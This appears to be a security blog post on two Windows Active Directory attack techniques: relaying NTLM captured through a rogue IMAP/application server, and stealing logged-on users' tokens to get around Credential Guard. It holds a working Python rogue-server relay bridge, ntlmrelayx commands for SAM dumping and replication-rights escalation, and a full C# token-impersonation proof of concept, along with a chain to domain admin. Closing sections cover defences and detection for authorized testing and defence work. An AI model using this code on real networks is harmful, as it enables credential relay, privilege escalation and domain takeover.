Relaying application-protocol NTLM, and stealing logged-on tokens

  • windows
  • active-directory
  • ntlm-relay
  • token-impersonation
  • lateral-movement
  • hardening

Most writing about NTLM relay starts and ends with SMB: coerce a machine over MS-EFSRPC or the print spooler, relay the authentication to another SMB service, done. And most writing about turning local admin into domain admin assumes you will dump LSASS. Both assumptions are narrower than the reality, and both gaps are quietly load-bearing on modern networks. This post covers two primitives that live in those gaps. The first is that NTLM authentication rides inside many application protocols, not just SMB, so a client that speaks integrated auth to a mail or database or directory service will hand you its NTLM if you become the server it talks to. The second is that stealing a logged-on user's token is a handle operation, not a memory read, so it keeps working after Credential Guard and LSA protection have closed the credential-dumping door. Neither is novel; both are underused by defenders building a threat model, which is who the second half is for.

Scope: authorized assessment and the defenders who have to recognize these. Everything below is generic and the tooling is public or trivially reproduced; the value is seeing the two primitives whole so the controls that stop them are obvious.

Capturing application-protocol NTLM and bridging it into a relay A client performs integrated authentication to a rogue application server over TLS. The rogue server does not crack the NTLM; it shuttles the Type 1, Type 2 and Type 3 messages into a standard relay's HTTP receiver, which forwards the authentication to a real target service whose signing is not enforced, and acts there as the captured identity. Client integrated auth, periodic Rogue server + bridge real TLS cert, no crack Target service SMB / LDAP, signing off 1 STARTTLS + Type 1 2 bridge Type 1 as HTTP 3 Type 2 challenge back relay Type 2 to client 4 Type 3 (response) 5 authenticated session SAM dump / dir write lands only when the target does not enforce signing / channel binding
The rogue server never cracks anything. It terminates the client's TLS, then shuttles the NTLM Type 1 / 2 / 3 messages into a standard relay, which forwards the authentication to a real service. Enforcing signing on the target removes the landing spot.

Primitive one: relaying NTLM that arrives over an application protocol

NTLM relay, in one paragraph

NTLM authentication is not bound to the service it was meant for unless something binds it. An attacker who receives an NTLM exchange intended for one service can forward the three messages (negotiate, challenge, authenticate) to a different service and end up authenticated there as the original principal, never learning the password. The defenses are per-target: SMB signing stops SMB relay, LDAP signing plus channel binding (Extended Protection) stops LDAP relay, and HTTP EPA stops HTTP relay. Where a target does not enforce its signing, it is a valid relay destination.

The source does not have to be SMB coercion

The usual relay source is a coerced SMB authentication. But integrated Windows auth (SPNEGO wrapping NTLM) is carried by far more than SMB. A client configured for single-sign-on to an application service will perform NTLM to that service automatically:

  • Mail: IMAP, POP3 and SMTP all define a SASL mechanism that carries NTLM (AUTH NTLM, often after STARTTLS). Mail clients and automated mail pollers authenticate on a timer.
  • Databases: MSSQL integrated auth is NTLM/Kerberos over TDS.
  • Directory and web: LDAP and HTTP both negotiate NTLM for SSO.
  • Remoting: WinRM and RPC.

Any of these is a source if you can become the server the client talks to, which you can when you control that host, control the DNS name the client resolves, sit in the network path, or the client is simply misconfigured to trust you. Service accounts and scheduled/automated clients are the ideal victims: they authenticate constantly and predictably, and a service account's NTLM is just as relayable as a coerced machine account's.

The rogue server plus bridge

The catch is tooling. The standard relay, Impacket's ntlmrelayx, exposes receivers for SMB, HTTP, WCF, RAW and a few others, but not for IMAP, SMTP or MSSQL. So you split the job in two:

  1. A small rogue server that speaks the application protocol to the client: advertise AUTH NTLM (or the protocol's equivalent), terminate TLS with a certificate the client will accept (if you own the legitimate host, reuse its real certificate so there is no warning), and read out the base64 NTLM blobs as they arrive.
  2. A bridge that shuttles those blobs into ntlmrelayx's HTTP receiver: send the client's Type 1 as an Authorization: NTLM header, read the Type 2 back out of the WWW-Authenticate header the relay returns, hand it to the client, then forward the client's Type 3. ntlmrelayx does the actual relay to the real target.

The relay target is an ordinary choice: SMB on a host where SMB signing is off (default attack: dump the local SAM, or run a command), or LDAP on a DC where signing and channel binding are not enforced (grant a controlled account replication rights, then DCSync; that onward path is its own technique, see coerced NTLM relay to LDAP and DCSync replication abuse).

Code: a protocol bridge skeleton

Generic, protocol-neutral, placeholders throughout. The rogue listener parses one protocol (an IMAP-style AUTHENTICATE NTLM is shown because it is the clearest); the bridge half is identical regardless of the front protocol.

#!/usr/bin/env python3
# Rogue application server -> HTTP bridge into a standard NTLM relay.
# The relay (ntlmrelayx) does the real relaying; this only moves Type1/2/3.
import socket, ssl, re, base64

RELAY = ("127.0.0.1", 8080)            # ntlmrelayx HTTP receiver
CERT, KEY = "server.pem", "server.key" # a cert the client will accept

def _hdrs(s):
    buf = b""
    while b"\r\n\r\n" not in buf:
        d = s.recv(4096)
        if not d: break
        buf += d
    return buf

def _wwwauth(resp):
    m = re.search(rb"WWW-Authenticate:\s*NTLM\s+([A-Za-z0-9+/=]+)", resp, re.I)
    return m.group(1) if m else None

def bridge_type2(br, type1_b64):
    # prime the relay with a bare request so it issues a 401 NTLM, then send Type1
    br.sendall(b"GET / HTTP/1.1\r\nHost: x\r\nConnection: keep-alive\r\n\r\n"); _hdrs(br)
    br.sendall(b"GET / HTTP/1.1\r\nHost: x\r\nConnection: keep-alive\r\n"
               b"Authorization: NTLM " + type1_b64 + b"\r\n\r\n")
    return _wwwauth(_hdrs(br))                     # Type2 challenge from the real target

def bridge_type3(br, type3_b64):
    br.sendall(b"GET / HTTP/1.1\r\nHost: x\r\nConnection: close\r\n"
               b"Authorization: NTLM " + type3_b64 + b"\r\n\r\n")
    return _hdrs(br)

def handle(sock):
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); ctx.load_cert_chain(CERT, KEY)
    c = ctx.wrap_socket(sock, server_side=True)    # or do STARTTLS first, then wrap
    c.sendall(b"* OK [CAPABILITY IMAP4rev1 AUTH=NTLM] ready\r\n")
    br, state, tag = None, "cmd", b"A"
    buf = b""
    while True:
        d = c.recv(8192)
        if not d: break
        buf += d
        while b"\r\n" in buf:
            line, buf = buf.split(b"\r\n", 1)
            if state == "t1":                      # client just sent its Type1
                br = socket.create_connection(RELAY, timeout=20)
                t2 = bridge_type2(br, line.strip())
                c.sendall(b"+ " + t2 + b"\r\n"); state = "t3"; continue
            if state == "t3":                      # client just sent its Type3
                bridge_type3(br, line.strip()); br.close()
                c.sendall(tag + b" NO auth failed\r\n"); state = "cmd"; continue
            p = line.split(b" ", 2); tag = p[0]
            cmd = (p[1].upper() if len(p) > 1 else b"")
            if cmd == b"AUTHENTICATE":             # 'AUTHENTICATE NTLM'
                c.sendall(b"+ \r\n"); state = "t1"
            else:
                c.sendall(tag + b" OK\r\n")

srv = socket.socket(); srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 993)); srv.listen(16)
while True:
    cl, _ = srv.accept()
    handle(cl)
# the real relay: HTTP receiver only, forward to a target whose signing is off.
# SMB target, default attack dumps the local SAM:
ntlmrelayx.py -t smb://<target> -smb2support --http-port 8080 \
  --no-smb-server --no-wcf-server --no-raw-server
# or LDAP target, grant a controlled account replication rights (see the LDAP post):
ntlmrelayx.py -t ldap://<dc> --escalate-user <controlled-account> --http-port 8080

Tools: Impacket (ntlmrelayx.py) for the relay; the rogue front end is ~80 lines per protocol. The only real requirement is that the client authenticates to you and the target does not enforce signing.

Primitive two: stealing a logged-on token

Why it still works in 2026

Modern Windows makes credential theft hard: LSASS runs as a protected process (PPL), Credential Guard moves secrets into a VBS enclave, and the usual sekurlsa memory read fails. But a token is not a credential. A logged-on user's access token is a kernel object the user's processes already hold; duplicating it and using it is a handle operation that never reads LSASS memory. So on a host where you have local admin or SYSTEM and a higher-privileged user is logged on, you can act as that user even when every credential-dumping avenue is closed. This is the primitive that quietly bypasses the whole "we enabled Credential Guard" assumption.

Mechanics

You need two privileges, both held by local administrators and SYSTEM: SeDebugPrivilege to open another user's process, and SeImpersonatePrivilege to run with their token. SYSTEM is the cleanest context (local admin over a network logon works too, but a plain admin process may lack an effective SeDebug against a cross-user process, so running as SYSTEM via a service or scheduled task is the reliable path).

The sequence: find a process owned by the target user, open it, open its token, duplicate it, then either adopt the token on your current thread (ImpersonateLoggedOnUser) or spawn a new process with it (CreateProcessWithTokenW / CreateProcessAsUser).

Two nuances decide which form to use:

  • Interactive tokens are often UAC-filtered (medium integrity). A process you spawn with a filtered interactive token cannot write protected local paths. But the token's network identity is unfiltered for domain accounts: UAC remote restrictions apply to local accounts, not domain ones. So the stolen token of a logged-on domain admin reads \\dc\C$ as a domain admin even though a local write would be denied.
  • Spawning across session 0 is fragile. A child created from a service/scheduled task can be torn down with the task's job object, and desktop/session mismatches cause silent failures. Adopting the token on your own thread and doing the work in-process avoids all of it. If the goal is a network action (read a file as the user, bind to LDAP, DCSync), in-process impersonation is both simpler and more reliable than spawning a shell.

Code: token impersonation, in-process

Generic C# PoC, parameterized by a target PID. It impersonates the token and performs a network read as that user. Compile with the in-box compiler (csc.exe); no external dependencies.

using System;
using System.IO;
using System.Security.Principal;
using System.Runtime.InteropServices;

// usage: tokdemo.exe <pid> <\\unc\path\to\read>
// Impersonates the token of <pid>'s owner on THIS thread and reads a path as them.
class TokDemo {
    [StructLayout(LayoutKind.Sequential)] struct LUID { public uint lo; public int hi; }
    [StructLayout(LayoutKind.Sequential)] struct LUID_AND_ATTR { public LUID Luid; public uint Attr; }
    [StructLayout(LayoutKind.Sequential)] struct TOKPRIV { public uint Count; public LUID_AND_ATTR P; }

    [DllImport("kernel32.dll")] static extern IntPtr OpenProcess(uint a, bool inh, int pid);
    [DllImport("kernel32.dll")] static extern IntPtr GetCurrentProcess();
    [DllImport("advapi32.dll", SetLastError=true)] static extern bool OpenProcessToken(IntPtr p, uint a, out IntPtr t);
    [DllImport("advapi32.dll", SetLastError=true)] static extern bool DuplicateTokenEx(IntPtr t, uint a, IntPtr sa, int imp, int type, out IntPtr dup);
    [DllImport("advapi32.dll", SetLastError=true)] static extern bool ImpersonateLoggedOnUser(IntPtr t);
    [DllImport("advapi32.dll")] static extern bool RevertToSelf();
    [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool LookupPrivilegeValue(string s, string n, out LUID l);
    [DllImport("advapi32.dll", SetLastError=true)] static extern bool AdjustTokenPrivileges(IntPtr t, bool dis, ref TOKPRIV n, int len, IntPtr prev, IntPtr pl);

    static void Enable(string name) {
        IntPtr t; OpenProcessToken(GetCurrentProcess(), 0x28, out t);   // ADJUST|QUERY
        LUID l; LookupPrivilegeValue(null, name, out l);
        var tp = new TOKPRIV { Count = 1, P = new LUID_AND_ATTR { Luid = l, Attr = 2 } }; // ENABLED
        AdjustTokenPrivileges(t, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
    }

    static void Main(string[] a) {
        Enable("SeDebugPrivilege");
        int pid = int.Parse(a[0]);
        IntPtr h = OpenProcess(0x0400, false, pid);                     // QUERY_INFORMATION
        if (h == IntPtr.Zero) { Console.WriteLine("OpenProcess " + Marshal.GetLastWin32Error()); return; }
        IntPtr tok, dup;
        if (!OpenProcessToken(h, 0x0002 | 0x0008, out tok))             // DUPLICATE|QUERY
            { Console.WriteLine("OpenProcessToken " + Marshal.GetLastWin32Error()); return; }
        if (!DuplicateTokenEx(tok, 0xF01FF, IntPtr.Zero, 2, 2, out dup))// SecurityImpersonation, TokenImpersonation
            { Console.WriteLine("DuplicateTokenEx " + Marshal.GetLastWin32Error()); return; }
        if (!ImpersonateLoggedOnUser(dup))
            { Console.WriteLine("Impersonate " + Marshal.GetLastWin32Error()); return; }
        Console.WriteLine("now = " + WindowsIdentity.GetCurrent().Name);
        try { Console.WriteLine(File.ReadAllText(a[1])); }              // network read AS the user
        catch (Exception e) { Console.WriteLine("read err: " + e.Message); }
        RevertToSelf();
    }
}

To spawn a process as the user instead of reading in-process, swap the ImpersonateLoggedOnUser call for CreateProcessWithTokenW(dup, 0, null, "<cmd>", 0, IntPtr.Zero, "C:\\", ref si, out pi) and wait on the child, but prefer the in-process form for network actions for the reasons above. Public tooling does the same thing (Incognito, Meterpreter's steal_token, RunasCs in token mode); the PoC exists to show there is nothing exotic underneath.

How they chain

These compose into the common "service auth to domain admin" path, and each half is independently useful:

  1. Capture + relay. A client (often a service account or an automated poller) authenticates to your rogue application server; the bridge relays it to a target with signing off. SMB target with the default attack yields a local SAM dump and therefore local admin on that host.
  2. Pass-the-hash to the host. The relayed SAM gives a local administrator hash; authenticate to the host with it.
  3. Token theft. On that host, a higher-privileged user (up to domain admin) is logged on. Impersonate their token and act as them over the network, bypassing LSASS protection entirely, to read privileged resources or to escalate in the directory.

No step requires a cracked password, and the final step requires no LSASS access, which is exactly why a defender who has enabled Credential Guard and left SMB signing off on workstations is still exposed.

Defense

Independent chokepoints; the signing controls end the relay half and tiering ends the token half:

  • Enforce signing on every relay target. SMB signing required on all hosts (not just DCs) removes SMB as a relay destination; LDAP signing plus channel binding does the same for LDAP. This is the single highest-leverage control against the whole relay family, SMB-sourced or application-sourced. Roll out in audit mode first to find legacy clients, then enforce.
  • Do not let integrated-auth clients trust arbitrary servers. Pin service hostnames, require TLS with validated certificates (not just any trusted-root cert), and control who can create or change the DNS names those clients resolve. An automated client that authenticates on a timer is a standing relay source if its server identity is forgeable.
  • Reduce and contain NTLM. Move to Kerberos, apply Restrict NTLM where feasible, and segment so arbitrary hosts cannot reach SMB/LDAP on sensitive targets. A captured authentication with nowhere to land is inert.
  • Tiered administration (breaks the token half). The token primitive requires a privileged user to be logged on to a host you already control. Tier-0 accounts (domain admins) must never log on to tier-1/2 workstations or member servers; enforce with logon-restriction policies and Protected Users. Credential Guard and LSA protection do not stop token theft, so do not treat them as the control here; the control is keeping high-value tokens off low-value hosts.
  • Minimize local admin and SeImpersonate holders. Token theft needs admin/SYSTEM on the host first. Fewer local admins, just-in-time elevation, and careful service-account rights (SeImpersonate is what many potato-style escalations and this primitive rely on) shrink the surface.

Detection

  • Relay landing. On relay targets, authentications whose network identity and source host do not match (a service account or machine account authenticating from an unexpected IP), and for the SMB-SAM-dump attack, remote SAM/lsass registry or admin-share access following that logon.
  • Application-auth anomalies. An integrated-auth client suddenly authenticating to a host or name it never used before, or a spike of AUTH NTLM on a mail/database service, is the signature of a redirected or rogue server.
  • New replication grant / DCSync, when LDAP is the relay target: Security event 5136 adding DS-Replication-Get-Changes-All to a non-DC principal, and 4662 showing replication access by a non-DC. (Covered in the LDAP relay and DCSync posts.)
  • Token theft is subtle but not invisible. Watch for a logon or resource access by a privileged account from a host where it should never be active, process creation running as a user whose parent chain traces to SYSTEM, and (with Sysmon event 10) process-access handle opens against another user's processes by an unusual caller. The strongest signal is tier violation: a tier-0 identity doing anything from a tier-2 host.

Use

For authorized assessment and for defenders modelling the path. The two primitives matter together because they defeat two comfortable assumptions at once: that NTLM relay is an SMB-coercion problem, and that Credential Guard closes the local-admin-to-domain-admin door. Enforcing signing everywhere and keeping privileged tokens off low-trust hosts turns both into non-events.

References

Back to all techniques